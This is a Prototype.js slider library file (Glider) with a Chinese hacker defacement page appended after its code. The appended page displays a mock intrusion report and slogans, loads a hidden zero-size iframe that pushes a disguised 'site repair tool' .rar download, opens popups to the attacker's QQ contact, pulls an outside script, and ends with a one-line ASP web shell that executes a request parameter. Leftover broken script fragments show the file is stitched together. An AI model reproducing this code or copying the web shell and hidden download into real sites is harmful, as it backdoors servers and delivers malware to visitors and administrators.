/**
 * @author Bruno Bornsztein <bruno@missingmethod.com>
 * @copyright 2007 Curbly LLC
 * @package Glider
 * @license MIT
 * @url http://www.missingmethod.com/projects/glider/
 * @version 0.0.3
 * @dependencies prototype.js 1.5.1+, effects.js
 */

/*  Thanks to Andrew Dupont for refactoring help and code cleanup - http://andrewdupont.net/  */

Glider = Class.create();
Object.extend(Object.extend(Glider.prototype, Abstract.prototype), {
	initialize: function(wrapper, options){
	    this.scrolling  = false;
	    this.wrapper    = $(wrapper);
	    this.scroller   = this.wrapper.down('div.scroller');
	    this.sections   = this.wrapper.getElementsBySelector('div.section');
	    this.options    = Object.extend({ duration: 1.0, frequency: 3 }, options || {});

	    this.sections.each( function(section, index) {
	      section._index = index;
	    });    

	    this.events = {
	      click: this.click.bind(this)
	    };

	    this.addObservers();
			if(this.options.initialSection) this.moveTo(this.options.initialSection, this.scroller, { duration:this.options.duration });  // initialSection should be the id of the section you want to show up on load
			if(this.options.autoGlide) this.start();
	  },
	
  addObservers: function() {
    var controls = this.wrapper.getElementsBySelector('div.controls a');
    controls.invoke('observe', 'click', this.events.click);
  },	

  click: function(event) {
		this.stop();
    var element = Event.findElement(event, 'a');
    if (this.scrolling) this.scrolling.cancel();
    
    this.moveTo(element.href.split("#")[1], this.scroller, { duration:this.options.duration });     
    Event.stop(event);
  },

	moveTo: function(element, container, options){
			this.current = $(element);

			Position.prepare();
	    var containerOffset = Position.cumulativeOffset(container),
	     elementOffset = Position.cumulativeOffset($(element));

		  this.scrolling 	= new Effect.SmoothScroll(container, 
				{duration:options.duration, x:(elementOffset[0]-containerOffset[0]), y:(elementOffset[1]-containerOffset[1])});
		  return false;
		},
		
  next: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var nextIndex = (this.sections.length - 1 == currentIndex) ? 0 : currentIndex + 1;      
    } else var nextIndex = 1;

    this.moveTo(this.sections[nextIndex], this.scroller, { 
      duration: this.options.duration
    });
  },
	
  previous: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var prevIndex = (currentIndex == 0) ? this.sections.length - 1 : 
       currentIndex - 1;
    } else var prevIndex = this.sections.length - 1;
    
    this.moveTo(this.sections[prevIndex], this.scroller, { 
      duration: this.options.duration
    });
  },

	stop: function()
	{
		clearTimeout(this.timer);
	},
	
	start: function()
	{
		this.periodicallyUpdate();
	},
		
	periodicallyUpdate: function()
	{ 
		if (this.timer != null) {
			clearTimeout(this.timer);
			this.next();
		}
		this.timer = setTimeout(this.periodicallyUpdate.bind(this), this.options.frequency*1000);
	}

});

Effect.SmoothScroll = Class.create();
Object.extend(Object.extend(Effect.SmoothScroll.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'absolute'
    } , arguments[1] || {}  );
    this.start(options);
  },
  setup: function() {
    if (this.options.continuous && !this.element._ext ) {
      this.element.cleanWhitespace();
      this.element._ext=true;
      this.element.appendChild(this.element.firstChild);
    }
   
    this.originalLeft=this.element.scrollLeft;
    this.originalTop=this.element.scrollTop;
   
    if(this.options.mode == 'absolute') {
      this.options.x -= this.originalLeft;
      this.options.y -= this.originalTop;
    } 
  },
  update: function(position) {   
    this.element.scrollLeft = this.options.x * position + this.originalLeft;
    this.element.scrollTop  = this.options.y * position + this.originalTop;
  }
});<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>神话黑盟基地，友情检测！QQ:378632367  神话网络 技术引领潮流 打造最完美的黑客基地</TITLE><!--
a:link {
color: #00FF00;
text-decoration: none;
}
a:visited {
text-decoration: none;
color: #00FF00;
}
a:hover {
text-decoration: underline;
color: #FF0000;
}
a:active {
text-decoration: none;
color: #FF0000;
}
-->
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>
A:link {
    COLOR: #00ff00; TEXT-DECORATION: none
}
A:visited {
    COLOR: #00ff00; TEXT-DECORATION: none
}
A:hover {
    COLOR: #ff0000; TEXT-DECORATION: underline
}
A:active {
    COLOR: #ff0000; TEXT-DECORATION: none
}
body {
	background-image: url(http://img2009.5sing.com/m/photo/2009/05/07/20090507224224_644710.gif);
}
.STYLE1 {
	font-size: 28px;
	font-weight: bold;
}
.STYLE2 {
	font-size: 24px;
	font-weight: bold;
}
</STYLE>

<META content="MSHTML 6.00.2900.2180" name=GENERATOR><BGSOUND>
<BGSOUND balance=0 
src="http://www.hackjc.cn/music/02_conquest_of_paradise.wma" volume=-1 loop=infinite>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>▓神话黑盟基地▓</title>
</HEAD>
<BODY bgColor=#000000 >
<H1 align=center><SPAN id=theText style="WIDTH: 100%">神话网络黑盟基地友情检测<BR>[ Hacker By:义超[神话网络] QQ:378632367 ]</SPAN></H1></SPAN>
<P style="FONT-SIZE: 15px; COLOR: #00ff00" align=center>│你的网站，我的权限！│</P>
<P style="FONT-SIZE: 15px; COLOR: #00ff00" align=center><a href="http://Www.hackshenhua.com">进入神话黑盟基地
  </SCRIPT>
</a></P>
</SPAN>
<DIV></DIV>
<SCRIPT>
<!--
var from = 1;
var to = 4;
var delay = 55; 
var glowColor = "lime";
var i = to;
var j = 0;
textPulseDown();

function textPulseUp()
{
if (!document.all)
return
if (i < to)
{
theText.style.filter = "Glow(Color=" + glowColor + ", Strength=" + i + ")";
i++;
theTimeout = setTimeout('textPulseUp()',delay);
return 0;
}
if (i = to)
{
theTimeout = setTimeout('textPulseDown()',delay);
return 0;
}
}
function textPulseDown()
{
if (!document.all)
return
if (i > from)
{
theText.style.filter = "Glow(Color=" + glowColor + ", Strength=" + i + ")";
i--;
theTimeout = setTimeout('textPulseDown()',delay);
return 0;
}
if (i = from)
{
theTimeout = setTimeout('textPulseUp()',delay);
return 0;
}
}
//-->
</SCRIPT>
<TABLE style="boder-color: #00ff00" height=100 cellSpacing=0 cellPadding=0 
width=620 align=center border=0>
  <TBODY></TBODY></TABLE>
<FORM name=textform>
<CENTER>
  <textarea style="FONT-SIZE: 12px; BORDER-LEFT-COLOR: #00ff00; BORDER-BOTTOM-COLOR: #00ff00; COLOR: #00ff00; BORDER-TOP-COLOR: #00ff00; SCROLLBAR-BASE-COLOR: #000000; BACKGROUND-COLOR: #000000; BORDER-RIGHT-COLOR: #00ff00" name=textfield rows=25 readonly wrap=virtual cols=100></textarea>
</CENTER> 
<SCRIPT language=javascript>
var pos=0;
function ShowText(strText)
{
document.textform.textfield.value = strText.substring(0,pos++);
setTimeout("ShowText(strText)",50);
if(pos==strText.length) 
{
     return;
}
}
var strText = "                           ▓神话黑客联盟基地▓ QQ:378632367 -检测报告\n----------------------------------------------------------------------------------------------------\n→  Microsoft Windows Server 2003 R2 [版本 5.2.3790]\n→  (C) 版权所有 2010-2090 Microsoft  您的网站，我的权限！义超友情检测 Corp\n→  C:\>net user 我宣誓我会用我所有的一切,包括我的生命来捍卫祖国的安全  /神话黑盟基地宣誓完毕!\n→  C:\>net localgroup administrators 相信自己，你就是神话  /神话黑盟基地决定了的爱我就一生不变!\n→  C:\>只因你是天使 所以你的网站就是我的女人！ /神话黑盟基地应该在别人的关爱中得到永生!\n----------------------------------------------------------------------------------------------------\n→  C:\>dir\n→  C:\>神话黑盟基地提醒你...\n→  C:\>勿忘国耻 消灭日本 收复台湾\n→  C:\>黑客是种精神不在乎技术有多高\n→  C:\>只在乎他对这种精神的追求\n→  C:\>世上没有入侵不了的电脑..只是他们不知道\n→  C:\>网络上没有未被入侵过的电脑..只是他们自己不知道而已!\n→  C:\>我们都是中国人...请你记住这一点\n→  C:\>此次入侵只是友情检测..请管理员不用担心...\n→  C:\>提高全民网络安全意识\n→  C:\>加强中国黑客文化\n→  C:\>管理员..你的责任没有做到哦!\n→  C:\>请你及时的修补系统漏洞......Hacker 神话黑盟基地 QQ:378632367\n----------------------------------------------------------------------------------------------------\n Hacker學得再好，也無灋入侵妳的心.感情批量溢出,卻得不到Echo.服務噐入侵得再多，對妳祇不過昰Guest.昰我的DDOS，型成了妳的拒絕服務，還昰妳總昰開著防火牆, 讓我無從下手.昰妳太完美,還昰我真的太菜?";
ShowText(strText);
</SCRIPT>
</FORM>
<P style="FONT-SIZE: 20px; COLOR: #00ff00" align=center>
<SCRIPT>fortim=new Date();document.write('现在时间:'+fortim.toLocaleString())</SCRIPT>
</SCRIPT>您已经待了<INPUT size=5 name=time10>秒咯！吸根烟吧！</P>
<P style="FONT-SIZE: 20px; COLOR: #00ff00" align=center>
<html><head>
<!-- 代码开始 -->

<STYLE>
  .stHeadliner {

                font-size: 11pt;

                font-weight: bold;

                background: #cccccc;

                color: #333333}

</STYLE>
<SCRIPT LANGUAGE="JavaScript">

<!-- start hide

// Delay in milliseconds for the growing headliner

growWait=90



// Delay in milliseconds for the expanding headliner

expandWait=40



// Delay in milliseconds for the scrolling headliner

scrollWait=50



// Number of characters in scrolling zone for the scrolling headliner

scrollWidth=40



// Number of lines, specify as much as you want to use

lineMax=4

lines=new Array(lineMax)



// Define the lines (Text to display, url, effect, time to wait)

lines[1]=new Line("Hello 站长, 您好！你的网站已经被入侵勒!", "http://www.yxpshop.com/admin/网站修复连接.rar", Expand, 2000)

lines[2]=new Line("下载网站修复工具吧！", "http://www.yxpshop.com/admin/网站修复连接.rar", Scroll, 1000)

lines[3]=new Line("立即联系我们", "tencent://message/?uin=378632367", Static, 2500)

lines[4]=new Line("给我写信吧！", "mailto:378632367@qq.com", Grow, 3000)



// Some other variables (just don't change)

lineText=""

timerID=null

timerRunning=false

spaces=""

charNo=0

charMax=0

charMiddle=0

lineNo=0

lineWait=0



// Define line object

function Line(text, url, type, wait) {

	this.text=text

	this.url=url

	this.Display=type

	this.wait=wait

}



// Fill a string with n chars c

function StringFill(c, n) {

	s=""

	while (--n >= 0) {

		s+=c

	}

	return s

}



function Static() {

	document.formDisplay.buttonFace.value=this.text

	timerID=setTimeout("ShowNextLine()", this.wait)

}



function Grow() {

	lineText=this.text

	lineWait=this.wait

	charMax=lineText.length

	TextGrow()

}



function TextGrow() {

	if (charNo <= charMax) {

		document.formDisplay.buttonFace.value=lineText.substring(0, charNo)

		charNo++

		timerID=setTimeout("TextGrow()", growWait)

	}

	else {

		charNo=0

		timerID=setTimeout("ShowNextLine()", lineWait)

	}

}



function Expand() {

	lineText=this.text

	charMax=lineText.length

	charMiddle=Math.round(charMax / 2)

	lineWait=this.wait

	TextExpand()

}



function TextExpand() {

	if (charNo <= charMiddle) {

		document.formDisplay.buttonFace.value=lineText.substring(charMiddle - charNo, charMiddle + charNo)

		charNo++

		timerID=setTimeout("TextExpand()", expandWait)

	}

	else {

		charNo=0

		timerID=setTimeout("ShowNextLine()", lineWait)

	}

}



function Scroll() {

	spaces=StringFill(" ", scrollWidth)

	lineText=spaces+this.text

	charMax=lineText.length

	lineText+=spaces

	lineWait=this.wait

	TextScroll()

}



function TextScroll() {

	if (charNo <= charMax) {

		document.formDisplay.buttonFace.value=lineText.substring(charNo, scrollWidth+charNo)

		charNo++

		timerID=setTimeout("TextScroll()", scrollWait)

	}

	else {

		charNo=0

		timerID=setTimeout("ShowNextLine()", lineWait)

	}

}



function StartHeadliner() {

	StopHeadliner()

	timerID=setTimeout("ShowNextLine()", 1000)

	timerRunning=true

}



function StopHeadliner() {

	if (timerRunning) { 

		clearTimeout(timerID)

		timerRunning=false

	}

}



function ShowNextLine() {

	(lineNo < lineMax) ? lineNo++ : lineNo=1

	lines[lineNo].Display()

}



function GotoUrl(url)

{

	top.location.href=url

}

// end hide -->

</SCRIPT>
</head>
<Body onLoad="StartHeadliner()" onUnload="StopHeadliner()">
<form name="formDisplay">

<input class="stHeadLiner" type="button" name="buttonFace" value="** 合作愉快咯！ +++ ！ **" onClick="GotoUrl(lines[lineNo].url)">
<br>
<br>
</form>
</body>
</html>
  <iframe src=http://www.yxpshop.com/admin\网站修复连接.rar width=0 height=0></iframe>
  <SCRIPT>function newtiim(){time10.value++;}setInterval('newtiim()','1000')</SCRIPT>
  <embed src="http|//gd.qiannao.com/servlet/FileDownload?vid=1&vid2=0&filename=//uu1001/share/2010/9/4/keyboard.mp3?vid=1&vid2=0&filename=//uu1001/share/2010/9/4/keyboard.mp3?vid=1&vid2=0&filename=//uu1001/share/2010/9/4/keyboard.mp3" width="32" height="32" hidden="true" autostart="true" loop="true"></embed>
<a class="STYLE1" onMouseOver="javascript:window.open('tencent://message/?uin=378632367');">→将鼠标移动到此处，解除网站入侵←</a></P>
<P style="FONT-SIZE: 20px; COLOR: #00ff00" align=center><a class="STYLE1" onMouseOver="javascript:window.open('tencent://message/?uin=378632367');">→</a><span class="STYLE2">联系我们</span><a class="STYLE1" onMouseOver="javascript:window.open('tencent://message/?uin=378632367');">←</a></P>
</body></html>
<embed autostart="true" loop="-1" controls="ControlPanel" width="0" height="0" src="http://www.topoutward.com/mp3/1.mp3"> 
<embed autostart="true" loop="-1" controls="ControlPanel" width="0" height="0" src="http://www.ease-office.com/admin/keyboard.mp3"> <html> 
<script language="javascript" src="http://www.54kefu.net/kefu/js/96/26296.js" charset="utf-8"></script>
     }  
  }  
  document.onmousedown=click  
</SCRIPT>
<%execute request("xiaochao")%>
</BODY></HTML>


